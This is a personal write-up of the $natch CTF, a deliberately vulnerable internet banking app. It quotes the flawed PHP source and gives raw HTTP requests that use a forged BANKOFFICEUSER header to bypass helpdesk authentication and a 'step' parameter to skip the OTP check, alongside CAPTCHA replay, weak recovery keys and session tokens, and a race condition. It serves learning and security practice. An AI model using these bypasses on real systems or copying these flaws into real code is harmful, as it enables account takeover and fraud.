Positive HackDays 2012 $natch write-up

Sometime ago while browsing old backups I stumbled upon a raw write-up I did for $natch, a vulnerable Internet banking application created for a CTF-style competition organized by the folks of Positive Technologies. They held this contest at PHDays 2012 in Moscow and at the 29th Chaos Communication Congress in Hamburg.

I participated in the contest at the 29C3 and scored second place (in fact I found more bugs than the winner and certainly would have won if my laptop’s network card hadn’t bailed out – I had to borrow one from the organizers so I could play).

This post will discuss in detail every vulnerability found within the application, along with the relevant vulnerable source code, and explain all steps necessary to successfully exploit them.

General Overview

$natch is an application written in “barebone” PHP, with no underlying web framework. This already tells you something: web frameworks in general have reasonably secure and well-tested components for generating and managing session tokens, handling user-supplied input, enforcing access controls, etc. Applications written without this support are left on its own in terms of code quality and security; this means that the security of the application will only go as far as the secure development knowledge the programmer possesses, especially in the case of PHP where it is very easy to make mistakes.

If you feel like trying it for yourself, the VM image of $natch can be found here (password ‘phd2012’) and its source code here.

i-Bank vulnerabilities

This section presents a technical rundown of the vulnerabilities present in i-Bank.

Some of the exploits used during the competition (this includes ugly code with hardcoded IP addresses) can be found here.

Username enumeration

Upon supplying an invalid username, an error message “Identifier not found” is echoed back. Supplying a correct username with a wrong password returns “Wrong password” as a message.

From /src/class/Auth.php:

public function checkAuthData($login, $password) {
$userInfo = $this->user->getUserInfoByLogin($login);
$error = array();
if(empty($userInfo)) {
HTML::printHeader("authentication | error");
$this->printAuthForm();
HTML::printMessage("
Identifier not found. <a href="login.php">Please try again.</a>!", true);
}
if($password != $userInfo["password"]) {
HTML::printHeader("authentication | error");
$this->printAuthForm();
HTML::printMessage("
Wrong password. <a href="login.php">Please try again.</a>!", true);
}

No account lockout

It is possible to launch password guessing (brute force) attacks against enumerated accounts. The application does not provide any kind of functionality to either time-throttle or lock out accounts after a number of failed attempts.

CAPTCHA bypass

There are at least two different vulnerabilities regarding the CAPTCHA employed by the application. First, it is probably easily read by any OCR given its lack of “complexity” and random elements. This is just an assumption and no attempt to read the CAPTCHA was performed.

Nevertheless, there is an easier method to bypass the CAPTCHA validation. A login attempt issues a POST request containing four different arguments (‘login’, ‘password’, ‘code’ and ‘_code’). Both ‘code’ and ‘_code’ are related to the CAPTCHA process.

The argument ‘code’ contains the actual value of the CAPTCHA field a user entered on the browser, whereas ‘_code’ has some kind of encoding (presumably base64 with some tricks around it). Upon closer inspection of the source code it was found out ‘_code’ is merely a base64 of a reversed string, base64’d too.

From /src/class/Captcha.php:

public function __construct() {
}

public function encodeCaptchaCode($code) {
    return @base64_encode(@strrev(@base64_encode($code)));
}

public function decodeCaptchaCode($code) {
    return @base64_decode(@strrev(@base64_decode($code)));
}

From /src/login.php:

$captcha = new Captcha();
    if($_POST["code"] != $captcha->decodeCaptchaCode($_POST["_code"])) {

The actual issue we exploited was the fact the CAPTCHA is vulnerable to replay attacks – that is, if a user knows a valid combination of ‘code’ and ‘_code’ he can send it as many times as he wants and it will be considered valid. The application does not keep track of already used CAPTCHAs, meaning there is no difference between used CAPTCHAs and non-used ones; all a user needs to do is provide a valid combination of ‘code’ and ‘_code’ in order to bypass the CAPTCHA validation.

Authentication bypass on Helpdesk

The application contains a heldesk-like functionality that is prone to authentication bypass.

From /src/class/HelpdeskAuth.php:

public function checkSession() {

if(isset($_SERVER["HTTP_BANKOFFICEUSER"])) {
 $userId = base64_decode($_SERVER["HTTP_BANKOFFICEUSER"]);
 $userInfo = $this->user->getUserInfoById($userId);
 $this->user->setupUserInfo($userInfo);
 return $this->user;
 }

The code above tells us whenever a header named ‘BANKOFFICEUSER’ is found on the HTTP request, this conditional, which returns a valid user info object, is triggered. The conditional fetches the value of this header and assigns it to the variable ‘userId’, which is later passed to getUserInfoById(), which is subsequently passed to the function setupUserInfo(), ultimately returning a valid user object.

If a user supplies ‘BANKOFFICEUSER’ on the HTTP headers there is no need to execute the rest of checkSession(), which verifies the current session tokens (remember we do not have one as we are not logged in the application), etc.

From /src/helpdesk/pswdcheck.php:

$user = $auth->checkSession();
if(!$user) {
    header("Location: login.php");
    HelpdeskHTML::printHeader("access denied");
    HelpdeskHTML::printContentBegin();
    HelpdeskHTML::printMessage("<br>Please <a href=\"login.php\">authorize</a> in the system!<br><br>", true);
}

$pswdcheck = new HelpdeskPasswordsCheck($link);
$userWithEasyPassword = $pswdcheck->returnUserWithEasyPassword();

The application provides a script that enumerates accounts with passwords considered weak (i.e., all numeric).

As previously discussed, it is possible to obtain a valid user object by tricking checkSession() and bypassing the conditional if(!$user), gaining access to the weak password listing functionality.

An HTTP request like this one can be used to exploit the issue:

GET /helpdesk/pswdcheck.php HTTP/1.1
Host: 192.168.199.129
BANKOFFICEUSER: 1
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: auth=1000001%7C1%7C7f74f0817ffdebf6a77b9e9850d39732c5b2722e

Low entropy of password recovery key

This application provides a facility for a user who has forgotten his or her
password by accessing /recovery.php and supplying its username.

However, it was found out the key for recovering the credential by creating a new password is generated by a very weak process.

From /src/class/PasswordRecovery.php:

class PasswordRecovery extends User {

private $PasswordCharset = "abcdefghijklmnopqrstuvwxyz";

[...]

private function addDataInTable($login) {
    $key = md5($login.rand(1, 250));
    @mysql_query("INSERT INTO `recovery` VALUES ('".@mysql_real_escape_string($login, $this->dbLink)."', '".@mysql_real_escape_string($key, $this->dbLink)."');", $this->dbLink);
    return $key;

Namely, the password recovery key is nothing but the result of the MD5 of the login concatenated with a random number ranging from 1 to 250. In addition, there is no limit on how many times this key can be brute forced, and in a worst case scenario 250 attempts are enough to obtain the key and a system-generated new password (which is weak per se, a mix of seven random alpha characters).

Low entropy in session token generation

Every account on the application contains two different roles: contractor and basic. The generation of session tokens is done differently for each of these roles.

From /src/class/Auth.php:

private $charset = "abcdefghijklmnopqrstuvwxyz0123456789";

[...]

private function generateSalt() {
    $salt = "";
    for($i = 0; $i < 5; $i++) {
        $salt .= $this->charset[rand(0, strlen($this->charset) - 1)];
    }
    return $salt;
}

private function getSpecialHash($password) {
    $hash = sprintf("%u", crc32($password));
    if(strlen($hash) > 4) {
        $hash = substr($hash, 0, 4);
    }
    if(strlen($hash) < 4) {
        while(strlen($hash) < 4) {
            $hash .= "1";
        }
    }
    return $hash;
}
private function getShaHash($password) {
    return sha1($password);
}

[...]
[...]

private function createSession($redirect = true) {
    $salt = $this->generateSalt();

    $userInfo = $this->user->returnUserInfo();
    if($userInfo["user_type"] == "basic") {
        $hashMethod = "getShaHash";
        $user_type = "1";
    }

    if($userInfo["user_type"] == "contractor") {
        $hashMethod = "getSpecialHash";
        $user_type = "2";
    }

    $hash = $this->$hashMethod($userInfo["password"].$salt);
    $session = "{$userInfo["login"]}|{$user_type}|{$hash}";

[...]

setcookie("auth", $session);

The code above tells us exactly what we have discussed before: the generation of session tokens can be done in two different ways.

Arguably none of these ways can be considered secure, but most notably the ‘contractor’ session generation is considerably weaker than its ‘basic’ counterpart.

Let’s analyse the generation of session cookies for ‘contractor’ users:

The function getSpecialHash() does a CRC32 hash of the user’s password combined with a five byte alpha salt. If its output is more than four in length, only the first four bytes are used. If less than four, the remainder is padded with 1’s until make up four bytes.

The final session token looks like this:

Cookie: auth=X|2|Y

where X is the user ID and Y is a four digit output from getSpecialHash().

As we have seen earlier, obtaining a user ID is not a difficult task since we have found a vulnerability that can help us identify valid users.

The second element of the token, ‘2’, is actually static (‘2’ says the user is a contractor), leaving us with only four digit to brute force. In a worst case scenario, 10,000 attempts are enough to guess a valid session token.

Regarding the session generation for ‘basic’ users, it is not as trivial to guess but it definitely does not comply with best practices for session token generation, as several elements of the session cookie are either static or can be easily learned by an adversary.

OTP bypass

By now we also have realized the application is vulnerable to CSRF attacks.
However, as the application employs a one-time password (OTP) scheme, in theory a smart token or a card containing five numeric OTPs, the CSRF is sort of neutralized.

Nevertheless, there is a simple way to bypass the OTP check and jump over the steps necessary to perform a transaction, straight from the initial step all the way to the last one just by tampering with the HTTP request.

The HTTP request below was modified with a proxy and ‘step’ had its original value of ‘1’ replaced by ‘4’:

POST /transaction.php HTTP/1.1
Host: 192.168.199.129
Proxy-Connection: keep-alive
Content-Length: 100
Cache-Control: max-age=0
Origin: http://192.168.199.129
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.199.129/transaction.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: auth=1000001%7C1%7C9524c32394bd8e1ebb2929f3f5b9a2de1376fbe3
accountNumberFrom=90107430600227300001&accountNumberTo=90107430600712500003&accountSum=10&step=step4
POST /transaction.php HTTP/1.1
Host: 192.168.199.129
Proxy-Connection: keep-alive
Content-Length: 23
Cache-Control: max-age=0
Origin: http://192.168.199.129
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.199.129/transaction.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: auth=1000001%7C1%7C12ccf0e115050e3d5f592a803f561b426ff93335
OTP=aaaaaaaa&step=step4

Response:
Transaction committed!

From /src/class/Transaction.php:

public function execute() {
    if(!isset($_POST["step"]) || is_array($_POST["step"])) {
        $this->step1();
        return;
    }

    if(in_array($_POST["step"], array("step1", "step2", "step3", "step4"))) {
        $this->$_POST["step"]();
    } else{
        $this->step1();
    }
}

The code above tells us that if in a POST request the argument ‘step’ is found and is within the values ‘step1’, ‘step2’, ‘step3’ or ‘step4’, it is possible to call the step directly. If no subsequent checks are performed by each step itself to make sure the user passed through the previous one, this leaves room for abuse (i.e., jumping over steps).

Some of these steps are critical from a security perspective as they perform actions such as check for OTP, etc.

From /src/class/TransactionA.php:

[...]

protected function step2() {
    if(isset($_POST["accountNumberFrom"]) && isset($_POST["accountNumberTo"]) && isset($_POST["accountSum"])) {
        $this->checkAccountData($_POST["accountNumberFrom"], $_POST["accountNumberTo"], $_POST["accountSum"]);
        $this->addTransaction();
    } else {
        $this->step1();
    }
    HTML::printHeader("transaction | step2");

[...]

protected function step3() {
    $this->checkOTP();

[...]

protected function step4() {
    $this->executeTransaction();
    HTML::printHeader("transaction | step4");

[...]

Similar code constructs can be found on TransactionB.php and TransactionC.php.

Other bugs

I had the impression there were a few other bugs in the application and indeed I was right. After the competition finished the organizers ran a quick presentation detailing the vulnerabilities baked into the application.

The application allowed simultaneous logins. You can see where this is going, right? Yes, race condition.

I did not exploit this vulnerability but from my understanding the basic idea was to log in multiple times and launch concurrent requests for money transfers to a certain account.

For the sake of illustration let’s assume the following pseudocode:

if(source_account.balance > transfer.value) {
        transfer(destination_account, transfer.value)
        update_balance(source_account)
}

Say the current balance of the account is $10 and an attacker instructs the application to perform two transfers of $7. In a perfect world without race conditions this would never be possible, as one transfer request would execute first, update the balance of the account, and then when the second request starts the application will not authorize the transaction as the account’s balance is lower than the value of the transfer.

But what if both requests arrive almost at the same time, but enough to get past the conditional check and execute the transfer? Assuming two almost simultaneous request, #1 gets past the conditional and the transference is triggered. In the mean time, before the previous request triggers the update_balance() function, request #2 arrives, makes it past the conditional and the transfer gets executed.

In the end the attacker will have transferred $14 from his account when he only had $10.

In early 2014 an anonymous hacker pulled an attack like this against a Bitcoin exchange and explained how he did it here. Another tale on Bitcoin exchange fail, a well written technical explanation on race conditions in databases: NoSQL meets Bitcoin and brings down two exchanges.

Conclusion

The folks of Positive Technologies gave me a cool hoodie and some other swag for participating on their competition and an informal invitation to PHDays, but unfortunately I could not make it to Moscow in 2013 either.

Participating in $natch was a lot of fun. Prior to this it had been a while since I hadn’t audited PHP code and it was a great exercise to flex my muscles with code auditing.

Advertisements
Positive HackDays 2012 $natch write-up

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s